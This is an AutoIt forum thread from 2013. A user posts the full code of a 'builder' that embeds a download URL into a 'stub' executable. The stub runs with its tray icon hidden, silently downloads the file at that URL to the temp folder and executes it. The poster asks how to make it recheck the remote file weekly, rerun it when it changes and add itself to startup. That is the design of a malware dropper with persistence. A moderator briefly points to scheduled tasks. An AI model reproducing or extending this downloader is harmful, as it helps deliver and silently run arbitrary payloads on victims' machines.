Alexxander Posted May 23, 2013 Posted May 23, 2013 HI all i have a mini program that is made from a bulder and a stub when you open the bulder there will be e textbox you but a download link ther then press build after that a new exe app is generated when you open it it download and run the url that you had pasted in the bulder here is the bulder code: #include <ButtonConstants.au3> #include <EditConstants.au3> #include <GUIConstantsEx.au3> #include <WindowsConstants.au3> #NoTrayIcon #Region ### START Koda GUI section ### Form= $Form1 = GUICreate("Downloader", 287, 54, 192, 124) $http = GUICtrlCreateInput("http://www.mysite.com/file.exe", 8, 16, 201, 21) $build = GUICtrlCreateButton("Build", 216, 8, 65, 33) GUISetState(@SW_SHOW) #EndRegion ### END Koda GUI section ### While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $build $Input1 = GUICtrlRead($http) FileCopy(@ScriptDir & "stub.exe",@ScriptDir & "data.exe") $f = FileOpen("data.exe", 1) FileWrite($f, @CRLF & "[data]" & @CRLF & "data=" & $Input1) FileClose($f) FileMove(@scriptdir & "data.exe",@DesktopDir & "ready.exe") EndSwitch WEnd and the stub code: #NoTrayIcon ;read the url from itself: Global $url = IniRead(@ScriptFullPath, 'data', 'data', 'Null') Local $hDownload = InetGet($url, @TempDir & "file.exe", 1, 1) Do Sleep(250) Until InetGetInfo($hDownload, 2) ; Check if the download is complete. Local $nBytes = InetGetInfo($hDownload, 0) InetClose($hDownload) ; Close the handle to release resources. ShellExecute(@tempdir & "file.exe") what i want to make is when you first run the stub it download and check the size of the file in the link : www.site.com/file.exe and every week it check the size of the file in the link: www.site/file.exe if it is changed it download and execute if not changed do nothing ... i guess it need to be added to startup ? can any1 give me some help ?
Moderators JLogan3o13 Posted May 23, 2013 Moderators Posted May 23, 2013 If you want it to check just once a week, search the forum for "scheduled + task" "Profanity is the last vestige of the feeble mind. For the man who cannot express himself forcibly through intellect must do so through shock and awe" - Spencer W. Kimball How to get your question answered on this forum!
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now